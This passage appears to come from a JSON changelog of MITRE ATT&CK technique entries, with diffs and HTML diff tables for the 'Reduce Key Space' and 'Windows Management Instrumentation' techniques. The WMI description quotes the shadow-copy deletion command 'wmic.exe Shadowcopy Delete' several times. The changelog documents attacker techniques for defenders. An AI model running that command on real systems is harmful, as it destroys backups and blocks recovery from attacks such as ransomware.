protected information without the key.\\n\\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\\n \\n-Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)\\n+Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.(Citation: Cisco Blog Legacy Device Attacks)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to47__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to47__0\"><a href=\"#difflib_chg_to47__top\">t</a></td><td class=\"diff_header\" id=\"from47_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;reduce&nbsp;the&nbsp;level&nbsp;of&nbsp;effort&nbsp;required&nbsp;to&nbsp;decry</td><td class=\"diff_next\"><a href=\"#difflib_chg_to47__top\">t</a></td><td class=\"diff_header\" id=\"to47_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;reduce&nbsp;the&nbsp;level&nbsp;of&nbsp;effort&nbsp;required&nbsp;to&nbsp;decry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pt&nbsp;data&nbsp;transmitted&nbsp;over&nbsp;the&nbsp;network&nbsp;by&nbsp;reducing&nbsp;the&nbsp;cipher&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pt&nbsp;data&nbsp;transmitted&nbsp;over&nbsp;the&nbsp;network&nbsp;by&nbsp;reducing&nbsp;the&nbsp;cipher&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strength&nbsp;of&nbsp;encrypted&nbsp;communications.(Citation:&nbsp;Cisco&nbsp;Synful</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strength&nbsp;of&nbsp;encrypted&nbsp;communications.(Citation:&nbsp;Cisco&nbsp;Synful</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Knock&nbsp;Evolution)&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;weaken&nbsp;the&nbsp;encryption&nbsp;sof</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Knock&nbsp;Evolution)&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;weaken&nbsp;the&nbsp;encryption&nbsp;sof</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tware&nbsp;on&nbsp;a&nbsp;compromised&nbsp;network&nbsp;device&nbsp;by&nbsp;reducing&nbsp;the&nbsp;key&nbsp;si</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tware&nbsp;on&nbsp;a&nbsp;compromised&nbsp;network&nbsp;device&nbsp;by&nbsp;reducing&nbsp;the&nbsp;key&nbsp;si</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ze&nbsp;used&nbsp;by&nbsp;the&nbsp;software&nbsp;to&nbsp;convert&nbsp;plaintext&nbsp;to&nbsp;ciphertext&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ze&nbsp;used&nbsp;by&nbsp;the&nbsp;software&nbsp;to&nbsp;convert&nbsp;plaintext&nbsp;to&nbsp;ciphertext&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.g.,&nbsp;from&nbsp;hundreds&nbsp;or&nbsp;thousands&nbsp;of&nbsp;bytes&nbsp;to&nbsp;just&nbsp;a&nbsp;couple&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.g.,&nbsp;from&nbsp;hundreds&nbsp;or&nbsp;thousands&nbsp;of&nbsp;bytes&nbsp;to&nbsp;just&nbsp;a&nbsp;couple&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;bytes).&nbsp;As&nbsp;a&nbsp;result,&nbsp;adversaries&nbsp;dramatically&nbsp;reduce&nbsp;the&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;bytes).&nbsp;As&nbsp;a&nbsp;result,&nbsp;adversaries&nbsp;dramatically&nbsp;reduce&nbsp;the&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mount&nbsp;of&nbsp;effort&nbsp;needed&nbsp;to&nbsp;decrypt&nbsp;the&nbsp;protected&nbsp;information&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mount&nbsp;of&nbsp;effort&nbsp;needed&nbsp;to&nbsp;decrypt&nbsp;the&nbsp;protected&nbsp;information&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">without&nbsp;the&nbsp;key.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;key&nbsp;size&nbsp;used&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">without&nbsp;the&nbsp;key.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;key&nbsp;size&nbsp;used&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;other&nbsp;encryption&nbsp;parameters&nbsp;using&nbsp;specialized&nbsp;commands&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;other&nbsp;encryption&nbsp;parameters&nbsp;using&nbsp;specialized&nbsp;commands&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.org/techniques/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.org/techniques/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1059/008)&nbsp;introduced&nbsp;to&nbsp;the&nbsp;system&nbsp;through&nbsp;[Modify&nbsp;System&nbsp;I</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1059/008)&nbsp;introduced&nbsp;to&nbsp;the&nbsp;system&nbsp;through&nbsp;[Modify&nbsp;System&nbsp;I</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mage](https://attack.mitre.org/techniques/T1601)&nbsp;to&nbsp;change&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mage](https://attack.mitre.org/techniques/T1601)&nbsp;to&nbsp;change&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;configuration&nbsp;of&nbsp;the&nbsp;device.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;configuration&nbsp;of&nbsp;the&nbsp;device.(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Device&nbsp;Attacks)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Device&nbsp;Attacks)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0243: Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:44.329000+00:00",
                    "modified": "2026-11-03 20:48:20.950000+00:00",
                    "name": "Windows Management Instrumentation",
                    "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1047",
                            "external_id": "T1047"
                        },
                        {
                            "source_name": "Mandiant WMI",
                            "description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
                            "url": "https://www.mandiant.com/resources/reports"
                        },
                        {
                            "source_name": "WMI 6",
                            "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
                            "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                        },
                        {
                            "source_name": "WMI 1-3",
                            "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "WMI 7,8",
                            "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
                            "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "@ionstorm",
                        "Olaf Hartong, Falcon Force",
                        "Tristan Madani"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "1.6",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:48:20.950000+00:00\", \"old_value\": \"2026-05-12 15:12:00.619000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\\n\\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Citation: Mandiant WMI)\\n\\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\\n\\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \\u201cdisabled by default\\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)\", \"old_value\": \"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\\n\\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\\n\\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\\n\\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \\u201cdisabled by default\\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\\n \\n-The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\\n+The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Citation: Mandiant WMI)\\n \\n An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\\n \"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"FireEye WMI 2015\", \"description\": \"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.\", \"url\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf\"}}}",
                    "previous_version": "1.6",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to16__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to16__0\"><a href=\"#difflib_chg_to16__top\">t</a></td><td class=\"diff_header\" id=\"from16_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Windows&nbsp;Management&nbsp;Instrumentation&nbsp;(WM</td><td class=\"diff_next\"><a href=\"#difflib_chg_to16__top\">t</a></td><td class=\"diff_header\" id=\"to16_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;Windows&nbsp;Management&nbsp;Instrumentation&nbsp;(WM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I)&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;commands&nbsp;and&nbsp;payloads.&nbsp;WMI&nbsp;is&nbsp;design</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I)&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;commands&nbsp;and&nbsp;payloads.&nbsp;WMI&nbsp;is&nbsp;design</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;for&nbsp;programmers&nbsp;and&nbsp;is&nbsp;the&nbsp;infrastructure&nbsp;for&nbsp;management&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;for&nbsp;programmers&nbsp;and&nbsp;is&nbsp;the&nbsp;infrastructure&nbsp;for&nbsp;management&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">data&nbsp;and&nbsp;operations&nbsp;on&nbsp;Windows&nbsp;systems.(Citation:&nbsp;WMI&nbsp;1-3)&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">data&nbsp;and&nbsp;operations&nbsp;on&nbsp;Windows&nbsp;systems.(Citation:&nbsp;WMI&nbsp;1-3)&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MI&nbsp;is&nbsp;an&nbsp;administration&nbsp;feature&nbsp;that&nbsp;provides&nbsp;a&nbsp;uniform&nbsp;envi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MI&nbsp;is&nbsp;an&nbsp;administration&nbsp;feature&nbsp;that&nbsp;provides&nbsp;a&nbsp;uniform&nbsp;envi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ronment&nbsp;to&nbsp;access&nbsp;Windows&nbsp;system&nbsp;components.&nbsp;&nbsp;The&nbsp;WMI&nbsp;servic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ronment&nbsp;to&nbsp;access&nbsp;Windows&nbsp;system&nbsp;components.&nbsp;&nbsp;The&nbsp;WMI&nbsp;servic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;enables&nbsp;both&nbsp;local&nbsp;and&nbsp;remote&nbsp;access,&nbsp;though&nbsp;the&nbsp;latter&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;enables&nbsp;both&nbsp;local&nbsp;and&nbsp;remote&nbsp;access,&nbsp;though&nbsp;the&nbsp;latter&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;facilitated&nbsp;by&nbsp;[Remote&nbsp;Services](https://attack.mitre.org/t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;facilitated&nbsp;by&nbsp;[Remote&nbsp;Services](https://attack.mitre.org/t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1021)&nbsp;such&nbsp;as&nbsp;[Distributed&nbsp;Component&nbsp;Object&nbsp;Model</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1021)&nbsp;such&nbsp;as&nbsp;[Distributed&nbsp;Component&nbsp;Object&nbsp;Model</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1021/003)&nbsp;and&nbsp;[Window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1021/003)&nbsp;and&nbsp;[Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Remote&nbsp;Management](https://attack.mitre.org/techniques/T10</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Remote&nbsp;Management](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">21/006).(Citation:&nbsp;WMI&nbsp;1-3)&nbsp;Remote&nbsp;WMI&nbsp;over&nbsp;DCOM&nbsp;operates&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">21/006).(Citation:&nbsp;WMI&nbsp;1-3)&nbsp;Remote&nbsp;WMI&nbsp;over&nbsp;DCOM&nbsp;operates&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;port&nbsp;135,&nbsp;whereas&nbsp;WMI&nbsp;over&nbsp;WinRM&nbsp;operates&nbsp;over&nbsp;port&nbsp;5985</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;port&nbsp;135,&nbsp;whereas&nbsp;WMI&nbsp;over&nbsp;WinRM&nbsp;operates&nbsp;over&nbsp;port&nbsp;5985</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;using&nbsp;HTTP&nbsp;and&nbsp;5986&nbsp;for&nbsp;HTTPS.(Citation:&nbsp;WMI&nbsp;1-3)<span class=\"diff_sub\">&nbsp;</span>(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;using&nbsp;HTTP&nbsp;and&nbsp;5986&nbsp;for&nbsp;HTTPS.(Citation:&nbsp;WMI&nbsp;1-3)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Mandiant&nbsp;WMI)&nbsp;&nbsp;An&nbsp;adversary&nbsp;can&nbsp;use&nbsp;WMI&nbsp;to&nbsp;interact&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Mandiant&nbsp;WMI)&nbsp;&nbsp;An&nbsp;adversary&nbsp;can&nbsp;use&nbsp;WMI&nbsp;to&nbsp;interact&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;local&nbsp;and&nbsp;remote&nbsp;systems&nbsp;and&nbsp;use&nbsp;it&nbsp;as&nbsp;a&nbsp;means&nbsp;to&nbsp;execut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">th&nbsp;local&nbsp;and&nbsp;remote&nbsp;systems&nbsp;and&nbsp;use&nbsp;it&nbsp;as&nbsp;a&nbsp;means&nbsp;to&nbsp;execute</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;various&nbsp;behaviors,&nbsp;such&nbsp;as&nbsp;gathering&nbsp;information&nbsp;for&nbsp;[Disc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;various&nbsp;behaviors,&nbsp;such&nbsp;as&nbsp;gathering&nbsp;information&nbsp;for&nbsp;[Disco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">overy](https://attack.mitre.org/tactics/TA0007)&nbsp;as&nbsp;well&nbsp;as&nbsp;[</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">very](https://attack.mitre.org/tactics/TA0007)&nbsp;as&nbsp;well&nbsp;as&nbsp;[E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Execution](https://attack.mitre.org/tactics/TA0002)&nbsp;of&nbsp;comma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecution](https://attack.mitre.org/tactics/TA0002)&nbsp;of&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nds&nbsp;and&nbsp;payloads.(Citation:&nbsp;Mandiant&nbsp;WMI)&nbsp;For&nbsp;example,&nbsp;`wmic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;and&nbsp;payloads.(Citation:&nbsp;Mandiant&nbsp;WMI)&nbsp;For&nbsp;example,&nbsp;`wmic.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.exe`&nbsp;can&nbsp;be&nbsp;abused&nbsp;by&nbsp;an&nbsp;adversary&nbsp;to&nbsp;delete&nbsp;shadow&nbsp;copies&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe`&nbsp;can&nbsp;be&nbsp;abused&nbsp;by&nbsp;an&nbsp;adversary&nbsp;to&nbsp;delete&nbsp;shadow&nbsp;copies&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">with&nbsp;the&nbsp;command&nbsp;`wmic.exe&nbsp;Shadowcopy&nbsp;Delete`&nbsp;(i.e.,&nbsp;[Inhibi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;the&nbsp;command&nbsp;`wmic.exe&nbsp;Shadowcopy&nbsp;Delete`&nbsp;(i.e.,&nbsp;[Inhibit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;System&nbsp;Recovery](https://attack.mitre.org/techniques/T1490</td><td 